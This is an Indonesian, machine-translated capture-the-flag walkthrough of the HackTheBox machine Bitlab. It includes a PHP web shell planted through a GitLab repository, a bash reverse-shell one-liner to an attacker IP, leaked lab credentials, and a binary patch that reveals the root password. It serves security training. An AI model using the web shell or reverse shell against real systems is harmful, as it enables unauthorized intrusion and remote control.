Retas Kotak - Panduan Bitlab. Lemahnya kebingungan JS, GIT dan membalikkan aplikasi Windows

gambar

Pada artikel ini, saya akan mulai menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Pada artikel ini, kita akan membahas sedikit kebingungan JavaScript, memuat backdoor melalui repositori Git, dan men-debug aplikasi-32.

Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Kecerdasan


Pemindaian port


Mesin ini memiliki alamat IP 10.10.10.114, yang saya tambahkan ke / etc / hosts.
10.10.10.114 bitlab.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

gambar

Selanjutnya, Anda perlu mengumpulkan lebih banyak informasi tentang port yang kami tahu.
nmap -A bitlab.htb -p22,80

gambar

Sebagai berikut dari laporan nmap, SSH dan server web berjalan pada host. Dan di server web ada robots.txt. Setelah menelusuri direktori dari daftar ini, kami perhatikan bahwa gitlab berfungsi dan ada direktori bantuan yang tidak diindeks.

gambar

Pergi ke halaman penanda kami memiliki beberapa tautan.

gambar

Js


Semua menunjuk ke situs produk, kecuali yang terakhir, yang tidak mengandung alamat, tetapi kode JS.

gambar

Apa kode ini dikaburkan.
 javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() 

Untuk mendapatkan kode yang lebih mudah dibaca, Anda dapat menggunakan situs berikut .

gambar

Setelah sedikit perbaikan kode, kami mendapatkan instruksi berikut.
 document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x"; 

Git


Dengan data otentikasi ini kami diotorisasi di gitlab. Di sana kami menemukan dua profil.

gambar

Anda juga dapat menemukan satu proyek di mana ada koneksi ke database, dalam kode saya sajikan semua data untuk koneksi.

gambar

Memeriksa Profil kami menemukan tidak ada yang menarik.

gambar

Penyalur hanya memiliki kode php.

gambar

Dari kode ini, menjadi jelas bahwa jika kita menempatkan file di profil, itu akan digunakan untuk server.

Titik Masuk


Kita perlu menempatkan backdoor php. Misalnya, yang akan menerima dan menjalankan perintah.
 <?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?> 

Untuk melakukan ini, buka Profil dan buat file baru.

gambar

gambar

Dan setelah menambahkan file kita akan muncul di repositori.

gambar

Sekarang kami sedang menguji backdoor.

gambar

Sekarang kita mendapatkan cangkang penuh.
 bash -i >& /dev/tcp/10.10.15.150/4321 0>&1 

gambar

Dan kami melihat koneksi terbalik ke tuan rumah kami.

gambar

PENGGUNA


Setelah di host, sangat penting untuk memverifikasi data yang dibeli sebelumnya. Ini adalah data untuk mengakses database.

Membuka interpreter PHP secara interaktif. Kami menggunakan kode yang ditemukan dan mencari melalui data yang ditemukan. Kata sandi pengguna di base64, decode.

gambar

Jadi kami mencari tahu kata sandi, yang tampaknya dapat terhubung melalui SSH. Tapi ini tidak berhasil, karena base64 adalah kata sandi)).

gambar

ROOT


Melihat sekeliling mobil, kami menemukan file exe di direktori home pengguna.

gambar

Kami menyalinnya ke host kami untuk analisis.
 scp clave@10.10.10.114:~/RemoteConnection.exe . 

Selanjutnya, buka file di IDA Pro. Menggulir melalui fungsi utama utama, Anda dapat menemukan perbandingan variabel dengan nama pengguna dan membuat proses dengan dempul - program untuk koneksi jaringan.

gambar

Kami dapat berasumsi bahwa koneksi terjadi dengan penyediaan data otentikasi, dan kami perlu menemukannya. Data koneksi akan diberikan dempul sebagai parameter, mis. variabel v3.

Anda dapat melihat baris selesai saat debugging, tetapi di IDA file 32-bit macet. Dengan men-debug langkah demi langkah, kami memahami bahwa ini terjadi setelah memanggil GetUserNameW. Kami melanjutkan sebagai berikut.

Masukkan BP pada fragmen perbandingan nama.

gambar

Sekarang kita menempatkan BP sebelum memuat parameter untuk fungsi GetUserNameW.

gambar

Jalankan program di debugger. Debugging akan berhenti sebelum memanggil fungsi yang kita butuhkan.

gambar

Sekarang tambal kode. Alih-alih memuat parameter dan memanggil fungsi, Anda harus meletakkan instruksi NOP. Saya menggunakan plugin Keypatch untuk ini.

gambar

Sekarang kodenya terlihat seperti ini.

gambar

Mari kita lanjutkan debugging program sehingga berhenti membandingkan nama. Pada titik ini, alamat string parameter sudah akan dimuat ke register EAX untuk transfer sebagai parameter ShellExecuteW.

gambar

Sekarang klik pada panah (lompat di pembongkaran) di sebelah register EAX. Ini akan memungkinkan Anda untuk pergi ke alamat dari EAX di jendela utama IDA.

gambar

Alamat ini berisi string parameter. Seperti yang Anda lihat, ini berisi teks yang benar secara simetris "-ssh root ...". Tetapi setiap karakter diwakili oleh 2 byte. Untuk mengumpulkan string dengan mudah, tekan Alt + A.

gambar

Dan di jendela ini, pilih Unicode C-Style (16 bit). Kemudian kami mengamati string yang dirakit dengan benar.

gambar

Baris ini berisi kata sandi root. Kami terhubung melalui ssh dan mengambil token.

gambar

Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

Source: https://habr.com/ru/post/id483646/


All Articles